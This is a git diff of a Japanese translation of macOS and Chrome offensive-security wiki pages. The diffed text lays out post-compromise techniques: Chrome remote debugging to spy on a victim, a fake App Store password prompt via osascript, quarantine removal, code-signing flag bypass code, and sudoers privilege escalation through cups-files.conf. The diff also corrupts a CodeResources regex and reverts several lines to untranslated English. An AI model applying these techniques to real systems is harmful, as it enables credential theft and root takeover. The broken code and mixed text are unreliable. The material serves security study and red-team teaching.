実際の環境で、**ユーザーのPCを侵害した後**、Chrome/Chromiumベースのブラウザを使用している場合、**デバッグを有効にしてデバッグポートをポートフォワード**したChromeプロセスを起動することができます。これにより、**被害者がChromeで行うすべてを検査し、機密情報を盗むことができます**。
|
実際の環境で、**ユーザーのPCを侵害した後**、Chrome/Chromiumベースのブラウザを使用している場合、**デバッグを有効にしてデバッグポートをポートフォワード**したChromeプロセスを起動することができます。これにより、**被害者がChromeで行うすべてを検査し、機密情報を盗むことができます**。
|
||||||
|
|
||||||
ステルスな方法は、**すべてのChromeプロセスを終了**させてから、次のようなものを呼び出すことです。
|
ステルスな方法は、**すべてのChromeプロセスを終了させ**、その後何かを呼び出すことです。
|
||||||
```bash
|
```bash
|
||||||
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
||||||
```
|
```
|
||||||
|
@ -93,13 +93,13 @@ macOSでは、**アプリケーションやバイナリが**フォルダや設
|
|||||||
|
|
||||||
したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC権限を昇格させる**必要があります(または、ニーズに応じて**SIPをバイパスする**必要があります)。
|
したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC権限を昇格させる**必要があります(または、ニーズに応じて**SIPをバイパスする**必要があります)。
|
||||||
|
|
||||||
これらの権限は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの権限を取得する別の方法は、**その権限を持つプロセスの子**であることです。これらの権限は通常**継承されます**。
|
これらの権限は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの権限を取得する別の方法は、**その権限を持つプロセスの子プロセス**であることです。これらの権限は通常**継承されます**。
|
||||||
|
|
||||||
これらのリンクをたどって、TCCでの[**権限昇格の異なる方法**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses)、[**TCCをバイパスする方法**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)や、過去に[**SIPがバイパスされた方法**](macos-security-protections/macos-sip.md#sip-bypasses)を見つけてください。
|
これらのリンクをたどって、TCCでの[**権限昇格の異なる方法**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses)、[**TCCをバイパスする方法**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html)、および過去に[**SIPがバイパスされた方法**](macos-security-protections/macos-sip.md#sip-bypasses)を見つけてください。
|
||||||
|
|
||||||
## macOS 伝統的権限昇格
|
## macOS 伝統的権限昇格
|
||||||
|
|
||||||
もちろん、レッドチームの視点からは、rootに昇格することにも興味があるはずです。以下の投稿をチェックして、いくつかのヒントを得てください:
|
もちろん、レッドチームの視点からは、rootに昇格することにも興味があるべきです。以下の投稿をチェックして、いくつかのヒントを得てください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
macos-privilege-escalation.md
|
macos-privilege-escalation.md
|
||||||
|
@ -17,15 +17,15 @@
|
|||||||
|
|
||||||
### **`com.apple.system-task-ports` (以前は `task_for_pid-allow` と呼ばれていました)**
|
### **`com.apple.system-task-ports` (以前は `task_for_pid-allow` と呼ばれていました)**
|
||||||
|
|
||||||
この権限は、カーネルを除く **任意の** プロセスの **タスクポートを取得** することを許可します。詳細は [**こちらを確認してください**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
|
この権限は、カーネルを除く **任意の** プロセスの **タスクポートを取得** することを許可します。詳細は [**こちらを確認してください**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)。
|
||||||
|
|
||||||
### `com.apple.security.get-task-allow`
|
### `com.apple.security.get-task-allow`
|
||||||
|
|
||||||
この権限は、**`com.apple.security.cs.debugger`** 権限を持つ他のプロセスが、この権限を持つバイナリによって実行されるプロセスのタスクポートを取得し、**コードを注入する** ことを許可します。詳細は [**こちらを確認してください**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
|
この権限は、**`com.apple.security.cs.debugger`** 権限を持つ他のプロセスが、この権限を持つバイナリによって実行されるプロセスのタスクポートを取得し、**コードを注入する** ことを許可します。詳細は [**こちらを確認してください**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)。
|
||||||
|
|
||||||
### `com.apple.security.cs.debugger`
|
### `com.apple.security.cs.debugger`
|
||||||
|
|
||||||
デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないアプリや第三者アプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。
|
デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないおよび第三者のアプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。
|
||||||
|
|
||||||
### `com.apple.security.cs.disable-library-validation`
|
### `com.apple.security.cs.disable-library-validation`
|
||||||
|
|
||||||
@ -33,20 +33,20 @@
|
|||||||
|
|
||||||
### `com.apple.private.security.clear-library-validation`
|
### `com.apple.private.security.clear-library-validation`
|
||||||
|
|
||||||
この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリ検証を直接無効にするのではなく**、プロセスが **`csops` システムコールを呼び出して無効にする** ことを許可します。\
|
この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリ検証を直接無効にするのではなく、プロセスが `csops` システムコールを呼び出して無効にすることを許可します**。\
|
||||||
詳細は [**こちらを確認してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
|
詳細は [**こちらを確認してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||||
|
|
||||||
この権限は、**DYLD環境変数を使用する** ことを許可し、これによりライブラリやコードを注入することができます。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。
|
この権限は、**ライブラリやコードを注入するために使用される可能性のあるDYLD環境変数を使用する** ことを許可します。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。
|
||||||
|
|
||||||
### `com.apple.private.tcc.manager` または `com.apple.rootless.storage`.`TCC`
|
### `com.apple.private.tcc.manager` または `com.apple.rootless.storage`.`TCC`
|
||||||
|
|
||||||
[**このブログによると**](https://objective-see.org/blog/blog_0x4C.html) **および** [**このブログによると**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)、これらの権限は **TCC** データベースを **変更** することを許可します。
|
[**このブログによると**](https://objective-see.org/blog/blog_0x4C.html) **および** [**このブログによると**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)、これらの権限は **TCC** データベースを **変更する** ことを許可します。
|
||||||
|
|
||||||
### **`system.install.apple-software`** および **`system.install.apple-software.standar-user`**
|
### **`system.install.apple-software`** および **`system.install.apple-software.standar-user`**
|
||||||
|
|
||||||
これらの権限は、ユーザーに許可を求めることなく **ソフトウェアをインストールする** ことを許可し、**特権昇格** に役立つ可能性があります。
|
これらの権限は、ユーザーに許可を求めることなく **ソフトウェアをインストールする** ことを許可します。これは **特権昇格** に役立つ可能性があります。
|
||||||
|
|
||||||
### `com.apple.private.security.kext-management`
|
### `com.apple.private.security.kext-management`
|
||||||
|
|
||||||
@ -62,7 +62,7 @@
|
|||||||
|
|
||||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||||
|
|
||||||
TODO: これが何を許可するのかはわかりません
|
TODO: これが何を許可するのかはわかりません。
|
||||||
|
|
||||||
### `com.apple.private.apfs.revert-to-snapshot`
|
### `com.apple.private.apfs.revert-to-snapshot`
|
||||||
|
|
||||||
@ -87,21 +87,21 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||||||
```
|
```
|
||||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||||
|
|
||||||
**フルディスクアクセス** 権限を付与します。これは、持つことができる TCC の最高権限の一つです。
|
**フルディスクアクセス**権限を付与します。これは、TCCの中で最も高い権限の一つです。
|
||||||
|
|
||||||
### **`kTCCServiceAppleEvents`**
|
### **`kTCCServiceAppleEvents`**
|
||||||
|
|
||||||
アプリが一般的に **タスクを自動化** するために他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
アプリが一般的に**タスクを自動化**するために他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||||
|
|
||||||
例えば、ユーザーにパスワードを要求させることができます:
|
例えば、ユーザーにパスワードを要求させることができます:
|
||||||
```bash
|
```bash
|
||||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||||
```
|
```
|
||||||
または、**任意のアクション**を実行させること。
|
Or making them perform **任意のアクション**。
|
||||||
|
|
||||||
### **`kTCCServiceEndpointSecurityClient`**
|
### **`kTCCServiceEndpointSecurityClient`**
|
||||||
|
|
||||||
他の権限の中で、**ユーザーのTCCデータベースに書き込む**ことを許可します。
|
ユーザーのTCCデータベースを**書き込む**ことを含む、他の権限を許可します。
|
||||||
|
|
||||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||||
|
|
||||||
@ -113,11 +113,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||||||
|
|
||||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
このアクセス権を持つユーザーを確認するには、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_に移動します。
|
このアクセス権を持つユーザーを確認するには、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_を確認してください。
|
||||||
|
|
||||||
### `kTCCServiceAccessibility`
|
### `kTCCServiceAccessibility`
|
||||||
|
|
||||||
プロセスは**macOSのアクセシビリティ機能を悪用する**ことができ、例えばキー入力を押すことができるようになります。したがって、Finderのようなアプリを制御するためのアクセスを要求し、この権限でダイアログを承認することができます。
|
プロセスは**macOSのアクセシビリティ機能を悪用する**ことができ、例えばキーストロークを押すことができるようになります。したがって、Finderのようなアプリを制御するためのアクセスを要求し、この権限でダイアログを承認することができます。
|
||||||
|
|
||||||
## 中程度
|
## 中程度
|
||||||
|
|
||||||
@ -156,8 +156,10 @@ TODO
|
|||||||
[Array]
|
[Array]
|
||||||
[String] kTCCServiceAll
|
[String] kTCCServiceAll
|
||||||
```
|
```
|
||||||
プロセスに**すべてのTCC権限を要求させる**。
|
プロセスに**すべてのTCC権限を要求させる**ことを許可します。
|
||||||
|
|
||||||
### **`kTCCServicePostEvent`**
|
### **`kTCCServicePostEvent`**
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
</details>
|
||||||
|
@ -2,19 +2,19 @@
|
|||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## POSIX 権限の組み合わせ
|
## POSIX permissions combinations
|
||||||
|
|
||||||
**ディレクトリ**の権限:
|
**ディレクトリ**の権限:
|
||||||
|
|
||||||
- **読み取り** - ディレクトリエントリを**列挙**できます
|
- **read** - ディレクトリエントリを**列挙**できます
|
||||||
- **書き込み** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。
|
- **write** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。
|
||||||
- しかし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。
|
- ただし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。
|
||||||
- フォルダの名前を**変更**することは、そのフォルダを所有していない限りできません。
|
- **フォルダの名前を変更**することは、そのフォルダを所有していない限りできません。
|
||||||
- **実行** - ディレクトリを**横断**することが許可されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。
|
- **execute** - ディレクトリを**横断することが許可**されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。
|
||||||
|
|
||||||
### 危険な組み合わせ
|
### Dangerous Combinations
|
||||||
|
|
||||||
**rootが所有するファイル/フォルダを上書きする方法**ですが:
|
**rootが所有するファイル/フォルダを上書きする方法**ですが:
|
||||||
|
|
||||||
- パス内の親**ディレクトリの所有者**がユーザーである
|
- パス内の親**ディレクトリの所有者**がユーザーである
|
||||||
- パス内の親**ディレクトリの所有者**が**書き込みアクセス**を持つ**ユーザーグループ**である
|
- パス内の親**ディレクトリの所有者**が**書き込みアクセス**を持つ**ユーザーグループ**である
|
||||||
@ -22,23 +22,23 @@
|
|||||||
|
|
||||||
これらの組み合わせのいずれかを使用すると、攻撃者は**特権のある任意の書き込み**を取得するために、期待されるパスに**シンボリック/ハードリンク**を**注入**することができます。
|
これらの組み合わせのいずれかを使用すると、攻撃者は**特権のある任意の書き込み**を取得するために、期待されるパスに**シンボリック/ハードリンク**を**注入**することができます。
|
||||||
|
|
||||||
### フォルダのルート R+X 特殊ケース
|
### Folder root R+X Special case
|
||||||
|
|
||||||
**ディレクトリ**内に**rootのみがR+Xアクセス**を持つファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読み取るために悪用される可能性があります。
|
**rootのみがR+Xアクセスを持つ**ディレクトリ内にファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読むために悪用される可能性があります。
|
||||||
|
|
||||||
例: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
例: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
||||||
|
|
||||||
## シンボリックリンク / ハードリンク
|
## Symbolic Link / Hard Link
|
||||||
|
|
||||||
### 寛容なファイル/フォルダ
|
### Permissive file/folder
|
||||||
|
|
||||||
特権プロセスが**低特権ユーザー**によって**制御される**可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成された**可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイル**を**指し示す**ことができ、特権プロセスはそのファイルに書き込みます。
|
特権プロセスが**低特権ユーザー**によって**制御される**可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成された**可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができ、特権プロセスはそのファイルに書き込みます。
|
||||||
|
|
||||||
攻撃者が**特権を昇格させるために任意の書き込みを悪用できる**他のセクションを確認してください。
|
攻撃者が**特権を昇格させるために任意の書き込みを悪用できる**他のセクションを確認してください。
|
||||||
|
|
||||||
### オープン `O_NOFOLLOW`
|
### Open `O_NOFOLLOW`
|
||||||
|
|
||||||
`open`関数で使用されるフラグ`O_NOFOLLOW`は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しないようにする正しい方法は、フラグ`O_NOFOLLOW_ANY`を使用することです。
|
関数`open`で使用されるフラグ`O_NOFOLLOW`は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しない正しい方法は、フラグ`O_NOFOLLOW_ANY`を使用することです。
|
||||||
|
|
||||||
## .fileloc
|
## .fileloc
|
||||||
|
|
||||||
@ -58,17 +58,17 @@
|
|||||||
```
|
```
|
||||||
## ファイルディスクリプタ
|
## ファイルディスクリプタ
|
||||||
|
|
||||||
### リークFD(`O_CLOEXEC`なし)
|
### FDの漏洩(`O_CLOEXEC`なし)
|
||||||
|
|
||||||
`open`への呼び出しにフラグ`O_CLOEXEC`がない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。
|
`open`への呼び出しに`O_CLOEXEC`フラグがない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。
|
||||||
|
|
||||||
**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、`EDITOR=exploit.py`で`/etc/sudoers.d`内のファイルを開くことができます。これにより、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。
|
**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、**`EDITOR=exploit.py`**で`/etc/sudoers.d`内のファイルを開くことができます。これにより、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。
|
||||||
|
|
||||||
例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
|
例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
|
||||||
|
|
||||||
## 検疫xattrsトリックを避ける
|
## 検疫xattrsトリックを避ける
|
||||||
|
|
||||||
### 削除する
|
### それを削除する
|
||||||
```bash
|
```bash
|
||||||
xattr -d com.apple.quarantine /path/to/file_or_app
|
xattr -d com.apple.quarantine /path/to/file_or_app
|
||||||
```
|
```
|
||||||
@ -120,11 +120,11 @@ ls -le /tmp/test
|
|||||||
```
|
```
|
||||||
### **com.apple.acl.text xattr + AppleDouble**
|
### **com.apple.acl.text xattr + AppleDouble**
|
||||||
|
|
||||||
**AppleDouble**ファイル形式は、ファイルとそのACEをコピーします。
|
**AppleDouble**ファイル形式は、ファイルとそのACEを含むコピーを作成します。
|
||||||
|
|
||||||
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLのテキスト表現である**`com.apple.acl.text`**が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした。
|
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLのテキスト表現である**`com.apple.acl.text`**が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:
|
||||||
|
|
||||||
詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。
|
詳細については[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。
|
||||||
|
|
||||||
これを再現するには、まず正しいacl文字列を取得する必要があります:
|
これを再現するには、まず正しいacl文字列を取得する必要があります:
|
||||||
```bash
|
```bash
|
||||||
@ -156,11 +156,11 @@ macos-xattr-acls-extra-stuff.md
|
|||||||
|
|
||||||
### プラットフォームバイナリチェックのバイパス
|
### プラットフォームバイナリチェックのバイパス
|
||||||
|
|
||||||
一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続することを許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(/bin/lsなど)を取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。
|
一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続を許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(例:/bin/ls)を取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。
|
||||||
|
|
||||||
### フラグ`CS_REQUIRE_LV`と`CS_FORCED_LV`のバイパス
|
### フラグ`CS_REQUIRE_LV`と`CS_FORCED_LV`のバイパス
|
||||||
|
|
||||||
実行中のバイナリが自分のフラグを変更して、次のようなコードでチェックをバイパスすることが可能です:
|
実行中のバイナリが自分自身のフラグを変更してチェックをバイパスすることが可能です。コードは次のようになります:
|
||||||
```c
|
```c
|
||||||
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
|
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
|
||||||
int pid = getpid();
|
int pid = getpid();
|
||||||
@ -173,7 +173,7 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
|
|||||||
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
|
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
|
||||||
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
|
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
|
||||||
```
|
```
|
||||||
## コード署名のバイパス
|
## バイパスコード署名
|
||||||
|
|
||||||
バンドルには、**`_CodeSignature/CodeResources`** というファイルが含まれており、これは **バンドル** 内のすべての **ファイル** の **ハッシュ** を含んでいます。CodeResources のハッシュは **実行可能ファイル** にも **埋め込まれている** ため、それをいじることはできません。
|
バンドルには、**`_CodeSignature/CodeResources`** というファイルが含まれており、これは **バンドル** 内のすべての **ファイル** の **ハッシュ** を含んでいます。CodeResources のハッシュは **実行可能ファイル** にも **埋め込まれている** ため、それをいじることはできません。
|
||||||
|
|
||||||
@ -195,7 +195,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
|
|||||||
</dict>
|
</dict>
|
||||||
<key>rules2</key>
|
<key>rules2</key>
|
||||||
...
|
...
|
||||||
<key>^(.*/)?\.DS_Store$</key>
|
<key>^(.*/index.html)?\.DS_Store$</key>
|
||||||
<dict>
|
<dict>
|
||||||
<key>omit</key>
|
<key>omit</key>
|
||||||
<true/>
|
<true/>
|
||||||
@ -221,13 +221,13 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
|
|||||||
...
|
...
|
||||||
</dict>
|
</dict>
|
||||||
```
|
```
|
||||||
CLIからリソースの署名を計算することができます:
|
リソースの署名をCLIから計算することが可能です:
|
||||||
```bash
|
```bash
|
||||||
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
|
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
|
||||||
```
|
```
|
||||||
## DMGをマウントする
|
## Mount dmgs
|
||||||
|
|
||||||
ユーザーは、既存のフォルダーの上に作成されたカスタムDMGをマウントできます。これが、カスタムコンテンツを含むカスタムDMGパッケージを作成する方法です:
|
ユーザーは、既存のフォルダーの上に作成されたカスタムdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です:
|
||||||
```bash
|
```bash
|
||||||
# Create the volume
|
# Create the volume
|
||||||
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
||||||
@ -257,7 +257,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||||||
|
|
||||||
あなたのスクリプトが**シェルスクリプト**として解釈される場合、毎日トリガーされる**`/etc/periodic/daily/999.local`**シェルスクリプトを上書きすることができます。
|
あなたのスクリプトが**シェルスクリプト**として解釈される場合、毎日トリガーされる**`/etc/periodic/daily/999.local`**シェルスクリプトを上書きすることができます。
|
||||||
|
|
||||||
このスクリプトの実行を**偽装**することができます:**`sudo periodic daily`**
|
このスクリプトの実行を**偽装**するには、**`sudo periodic daily`**を使用できます。
|
||||||
|
|
||||||
### デーモン
|
### デーモン
|
||||||
|
|
||||||
@ -278,37 +278,37 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
`/Applications/Scripts/privesc.sh`を生成し、**root**として実行したい**コマンド**を記述します。
|
Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root.
|
||||||
|
|
||||||
### Sudoersファイル
|
### Sudoers File
|
||||||
|
|
||||||
**任意の書き込み**が可能であれば、**`/etc/sudoers.d/`**フォルダ内にファイルを作成し、**sudo**権限を自分に付与することができます。
|
If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges.
|
||||||
|
|
||||||
### PATHファイル
|
### PATH files
|
||||||
|
|
||||||
**`/etc/paths`**ファイルは、PATH環境変数を設定する主な場所の一つです。上書きするにはrootである必要がありますが、**特権プロセス**からスクリプトが**フルパスなしでコマンド**を実行している場合、このファイルを変更することで**ハイジャック**できるかもしれません。
|
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file.
|
||||||
|
|
||||||
また、**`/etc/paths.d`**にファイルを書き込むことで、`PATH`環境変数に新しいフォルダを追加することもできます。
|
You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable.
|
||||||
|
|
||||||
### cups-files.conf
|
### cups-files.conf
|
||||||
|
|
||||||
この技術は[この書き込み](https://www.kandji.io/blog/macos-audit-story-part1)で使用されました。
|
この技術は[この書き込み](https://www.kandji.io/blog/macos-audit-story-part1)で使用されました。
|
||||||
|
|
||||||
次の内容で`/etc/cups/cups-files.conf`ファイルを作成します:
|
Create the file `/etc/cups/cups-files.conf` with the following content:
|
||||||
```
|
```
|
||||||
ErrorLog /etc/sudoers.d/lpe
|
ErrorLog /etc/sudoers.d/lpe
|
||||||
LogFilePerm 777
|
LogFilePerm 777
|
||||||
<some junk>
|
<some junk>
|
||||||
```
|
```
|
||||||
このコマンドは、パーミッションが777の`/etc/sudoers.d/lpe`ファイルを作成します。最後の余分なゴミは、エラーログの作成をトリガーするためのものです。
|
この操作により、パーミッションが777のファイル`/etc/sudoers.d/lpe`が作成されます。最後の余分なゴミはエラーログの作成をトリガーするためのものです。
|
||||||
|
|
||||||
次に、`/etc/sudoers.d/lpe`に、特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。
|
次に、`/etc/sudoers.d/lpe`に特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。
|
||||||
|
|
||||||
その後、再度`/etc/cups/cups-files.conf`ファイルを修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。
|
その後、再度`/etc/cups/cups-files.conf`ファイルを修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。
|
||||||
|
|
||||||
### サンドボックスエスケープ
|
### サンドボックスエスケープ
|
||||||
|
|
||||||
macOSのサンドボックスをFSの任意の書き込みでエスケープすることが可能です。いくつかの例については、[macOS Auto Start](../../../../macos-auto-start-locations.md)のページを確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにし、`open`を使用して呼び出すことです。
|
FSの任意の書き込みを使用してmacOSサンドボックスをエスケープすることが可能です。いくつかの例については、ページ[macOS Auto Start](../../../../macos-auto-start-locations.md)を確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにして`open`を使用して呼び出すことです。
|
||||||
|
|
||||||
## 他のユーザーとして書き込み可能なファイルを生成する
|
## 他のユーザーとして書き込み可能なファイルを生成する
|
||||||
|
